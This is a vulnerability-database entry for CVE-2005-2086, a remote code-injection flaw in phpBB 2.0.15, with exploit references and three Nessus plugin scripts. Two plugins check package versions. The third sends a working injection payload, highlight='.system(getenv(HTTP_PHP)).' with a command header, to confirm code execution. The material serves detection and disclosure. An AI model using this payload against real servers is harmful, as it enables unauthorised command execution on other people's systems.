Vulnerabilities > CVE-2005-2086 - Unspecified vulnerability in PHPbb Group PHPbb 2.0.15

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
phpbb-group
nessus
exploit available
metasploit

Summary

PHP remote file inclusion vulnerability in viewtopic.php in phpBB 2.0.15 and earlier allows remote attackers to execute arbitrary PHP code.

Vulnerable Configurations

Part Description Count
Application
Phpbb_Group
1

Exploit-Db

  • descriptionphpBB 2.0.15 Remote PHP Code Execution Exploit (metasploit). CVE-2005-2086. Webapps exploit for php platform
    idEDB-ID:1113
    last seen2016-01-31
    modified2005-07-19
    published2005-07-19
    reporterstr0ke
    sourcehttps://www.exploit-db.com/download/1113/
    titlephpBB 2.0.15 - Remote PHP Code Execution Exploit metasploit
  • descriptionphpBB viewtopic.php Arbitrary Code Execution. CVE-2004-1315,CVE-2005-2086. Webapps exploit for php platform
    idEDB-ID:16890
    last seen2016-02-02
    modified2010-07-03
    published2010-07-03
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/16890/
    titlephpBB viewtopic.php Arbitrary Code Execution

Metasploit

descriptionThis module exploits two arbitrary PHP code execution flaws in the phpBB forum system. The problem is that the 'highlight' parameter in the 'viewtopic.php' script is not verified properly and will allow an attacker to inject arbitrary code via preg_replace(). This vulnerability was introduced in revision 3076, and finally fixed in revision 5166. According to the "tags" within their tree, this corresponds to versions 2.0.4 through 2.0.15 (inclusive).
idMSF:EXPLOIT/UNIX/WEBAPP/PHPBB_HIGHLIGHT
last seen2020-06-01
modified2017-11-08
published2008-03-05
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/phpbb_highlight.rb
titlephpBB viewtopic.php Arbitrary Code Execution

Nessus

  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_4AFACCA1EB9D11D9A8BD000CF18BBE54.NASL
    descriptionFrSIRT Advisory reports : A vulnerability was identified in phpBB, which may be exploited by attackers to compromise a vulnerable web server. This flaw is due to an input validation error in the
    last seen2020-06-01
    modified2020-06-02
    plugin id18928
    published2005-07-13
    reporterThis script is Copyright (C) 2005-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/18928
    titleFreeBSD : phpbb -- remote PHP code execution vulnerability (4afacca1-eb9d-11d9-a8bd-000cf18bbe54)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from the FreeBSD VuXML database :
    #
    # Copyright 2003-2019 Jacques Vidrine and contributors
    #
    # Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
    # HTML, PDF, PostScript, RTF and so forth) with or without modification,
    # are permitted provided that the following conditions are met:
    # 1. Redistributions of source code (VuXML) must retain the above
    #    copyright notice, this list of conditions and the following
    #    disclaimer as the first lines of this file unmodified.
    # 2. Redistributions in compiled form (transformed to other DTDs,
    #    published online in any format, converted to PDF, PostScript,
    #    RTF and other formats) must reproduce the above copyright
    #    notice, this list of conditions and the following disclaimer
    #    in the documentation and/or other materials provided with the
    #    distribution.
    # 
    # THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
    # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
    # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
    # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
    # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
    # OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
    # OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
    # BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
    # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
    # OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
    # EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(18928);
      script_version("1.19");
      script_cvs_date("Date: 2019/08/02 13:32:37");
    
      script_cve_id("CVE-2005-2086");
    
      script_name(english:"FreeBSD : phpbb -- remote PHP code execution vulnerability (4afacca1-eb9d-11d9-a8bd-000cf18bbe54)");
      script_summary(english:"Checks for updated package in pkg_info output");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote FreeBSD host is missing a security-related update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "FrSIRT Advisory reports :
    
    A vulnerability was identified in phpBB, which may be exploited by
    attackers to compromise a vulnerable web server. This flaw is due to
    an input validation error in the 'viewtopic.php' script that does not
    properly filter the 'highlight' parameter before calling the
    'preg_replace()' function, which may be exploited by remote attackers
    to execute arbitrary PHP commands with the privileges of the web
    server."
      );
      # http://www.frsirt.com/english/advisories/2005/0904
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.frsirt.com"
      );
      # http://www.phpbb.com/phpBB/viewtopic.php?t=302011
      script_set_attribute(
        attribute:"see_also",
        value:"https://www.phpbb.com/community/viewtopic.php?t=302011"
      );
      # https://vuxml.freebsd.org/freebsd/4afacca1-eb9d-11d9-a8bd-000cf18bbe54.html
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?133658fa"
      );
      script_set_attribute(attribute:"solution", value:"Update the affected package.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Phpbb RCE");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'phpBB viewtopic.php Arbitrary Code Execution');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
      script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
      script_set_attribute(attribute:"canvas_package", value:'CANVAS');
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:phpbb");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2005/06/28");
      script_set_attribute(attribute:"patch_publication_date", value:"2005/07/03");
      script_set_attribute(attribute:"plugin_publication_date", value:"2005/07/13");
      script_set_attribute(attribute:"generated_plugin", value:"current");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2005-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"FreeBSD Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("freebsd_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
    if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    
    if (pkg_test(save_report:TRUE, pkg:"phpbb<2.0.16")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());
      else security_hole(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");
    
  • NASL familyGentoo Local Security Checks
    NASL idGENTOO_GLSA-200507-03.NASL
    descriptionThe remote host is affected by the vulnerability described in GLSA-200507-03 (phpBB: Arbitrary command execution) Ron van Daal discovered that phpBB contains a vulnerability in the highlighting code. Impact : Successful exploitation would grant an attacker unrestricted access to the PHP exec() or system() functions, allowing the execution of arbitrary commands with the rights of the web server. Workaround : Please follow the instructions given in the phpBB announcement.
    last seen2020-06-01
    modified2020-06-02
    plugin id18607
    published2005-07-05
    reporterThis script is Copyright (C) 2005-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/18607
    titleGLSA-200507-03 : phpBB: Arbitrary command execution
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were
    # extracted from Gentoo Linux Security Advisory GLSA 200507-03.
    #
    # The advisory text is Copyright (C) 2001-2019 Gentoo Foundation, Inc.
    # and licensed under the Creative Commons - Attribution / Share Alike 
    # license. See http://creativecommons.org/licenses/by-sa/3.0/
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(18607);
      script_version("1.19");
      script_cvs_date("Date: 2019/08/02 13:32:42");
    
      script_cve_id("CVE-2005-2086");
      script_xref(name:"GLSA", value:"200507-03");
    
      script_name(english:"GLSA-200507-03 : phpBB: Arbitrary command execution");
      script_summary(english:"Checks for updated package(s) in /var/db/pkg");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:
    "The remote Gentoo host is missing one or more security-related
    patches."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "The remote host is affected by the vulnerability described in GLSA-200507-03
    (phpBB: Arbitrary command execution)
    
        Ron van Daal discovered that phpBB contains a vulnerability in the
        highlighting code.
      
    Impact :
    
        Successful exploitation would grant an attacker unrestricted access to
        the PHP exec() or system() functions, allowing the execution of
        arbitrary commands with the rights of the web server.
      
    Workaround :
    
        Please follow the instructions given in the phpBB announcement."
      );
      # http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=302011
      script_set_attribute(
        attribute:"see_also",
        value:"https://www.phpbb.com/community/viewtopic.php?f=14&t=302011"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://security.gentoo.org/glsa/200507-03"
      );
      script_set_attribute(
        attribute:"solution", 
        value:
    "The phpBB package is no longer supported by Gentoo Linux and has been
        masked in the Portage repository, no further announcements will be
        issued regarding phpBB updates. Users who wish to continue using phpBB
        are advised to monitor and refer to www.phpbb.com for more information.
        To continue using the Gentoo-provided phpBB package, please refer to
        the Portage documentation on unmasking packages and upgrade to 2.0.16."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Phpbb RCE");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'phpBB viewtopic.php Arbitrary Code Execution');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
      script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
      script_set_attribute(attribute:"canvas_package", value:'CANVAS');
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:phpBB");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2005/07/05");
      script_set_attribute(attribute:"patch_publication_date", value:"2005/07/04");
      script_set_attribute(attribute:"plugin_publication_date", value:"2005/07/05");
      script_set_attribute(attribute:"generated_plugin", value:"current");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2005-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Gentoo Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("qpkg.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
    if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    
    if (qpkg_check(package:"www-apps/phpBB", unaffected:make_list("ge 2.0.16"), vulnerable:make_list("lt 2.0.16"))) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());
      else security_hole(0);
      exit(0);
    }
    else
    {
      tested = qpkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "phpBB");
    }
    
  • NASL familyCGI abuses
    NASL idPHPBB_2_0_15.NASL
    descriptionThe remote host is running a version of phpBB that allows attackers to inject arbitrary PHP code to the
    last seen2020-06-01
    modified2020-06-02
    plugin id18589
    published2005-06-29
    reporterThis script is Copyright (C) 2005-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/18589
    titlephpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description) {
      script_id(18589);
      script_version("1.26");
    
      script_cve_id("CVE-2005-2086");
      script_bugtraq_id(14086);
    
      script_name(english:"phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution");
     
     script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains a PHP script that is affected by a code
    injection vulnerability." );
     script_set_attribute(attribute:"description", value:
    "The remote host is running a version of phpBB that allows attackers to
    inject arbitrary PHP code to the 'viewtopic.php' script to be executed
    subject to the privileges of the web server userid." );
     script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/403631/30/0/threaded" );
     script_set_attribute(attribute:"solution", value:
    "Upgrade to phpBB version 2.0.16 or later." );
     script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
     script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
     script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
     script_set_attribute(attribute:"exploit_available", value:"false");
     script_set_attribute(attribute:"d2_elliot_name", value:"Phpbb RCE");
     script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
     script_set_attribute(attribute:"metasploit_name", value:'phpBB viewtopic.php Arbitrary Code Execution');
     script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
     script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
     script_set_attribute(attribute:"canvas_package", value:'CANVAS');
     script_set_attribute(attribute:"plugin_publication_date", value: "2005/06/29");
     script_set_attribute(attribute:"patch_publication_date", value: "2005/06/28");
     script_set_attribute(attribute:"vuln_publication_date", value: "2005/06/28");
     script_cvs_date("Date: 2018/11/15 20:50:18");
     script_set_attribute(attribute:"plugin_type", value:"remote");
     script_set_attribute(attribute:"cpe",value:"cpe:/a:phpbb_group:phpbb");
     script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_end_attributes();
    
      summary["english"] = "Checks for remote code execution vulnerability in phpBB <= 2.0.15";
      script_summary(english:summary["english"]);
     
      script_category(ACT_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2005-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("phpbb_detect.nasl");
      script_exclude_keys("Settings/disable_cgi_scanning");
      script_require_ports("Services/www", 80);
      script_require_keys("www/phpBB");
      exit(0);
    }
    
    
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("data_protection.inc");
    
    port = get_http_port(default:80);
    if (!can_host_php(port:port)) exit(0);
    
    
    # Test an install.
    install = get_kb_item(string("www/", port, "/phpBB"));
    if (isnull(install)) exit(0);
    matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
    if (!isnull(matches)) {
      ver = matches[1];
      dir = matches[2];
    
      # First we need a forum number.
      r = http_send_recv3(method:"GET", item:string(dir, "/index.php"), port:port);
      if (isnull(r)) exit(0);
      res = r[2];
    
      pat = '<a href="viewforum\\.php\\?f=([0-9]+)';
      matches = egrep(pattern:pat, string:res, icase:TRUE);
      if (matches) {
        foreach match (split(matches)) {
          match = chomp(match);
          forum = eregmatch(pattern:pat, string:match);
          if (!isnull(forum)) {
            forum = forum[1];
            break;
          }
        }
      }
    
      if (isnull(forum)) {
        debug_print("couldn't find a forum to use!", level:1);
      }
      else {
        # Next we need a topic number.
        r = http_send_recv3(method:"GET",
          item:string(
            dir, "/viewforum.php?",
            "f=", forum
          ), 
          port:port
        );
        if (isnull(r)) exit(0);
        res = r[2];
    
        pat = '<a href="viewtopic\\.php\\?t=([0-9]+)';
        matches = egrep(pattern:pat, string:res, icase:TRUE);
        if (matches) {
          foreach match (split(matches)) {
            match = chomp(match);
            topic = eregmatch(pattern:pat, string:match);
            if (!isnull(topic)) {
              topic = topic[1];
              break;
            }
          }
        }
    
        if (isnull(topic)) {
          debug_print("couldn't find a topic to use!", level:1);
        }
        else {
          # Finally, we can try to exploit the flaw.
          # exploit method comes from public exploit released by [email protected]
          u = string(dir, "/viewtopic.php?", "t=", topic, "&", "highlight='.system(getenv(HTTP_PHP)).'");
          r = http_send_recv3(method: "GET", version: 11, item: u, port: port,
          	add_headers: make_array("PHP", "id") );
          if (isnull(r)) exit(0);
          res = r[2];
    
          line = egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res);
          if (line)
          {
            report = string(
              "Nessus was able to execute the command 'id' on the remote host,\n",
              "which produced the following output :\n",
              "\n",
              data_protection::sanitize_uid(output:line)
            );
            security_hole(port:port, extra:report);
            exit(0);
          }
        }
      }
    }
    

Packetstorm

Saint

bid14086
descriptionphpBB viewtopic.php highlight parameter vulnerability
idweb_prog_php_phpbbhighlightv
osvdb17613
titlephpbb_highlight
typeremote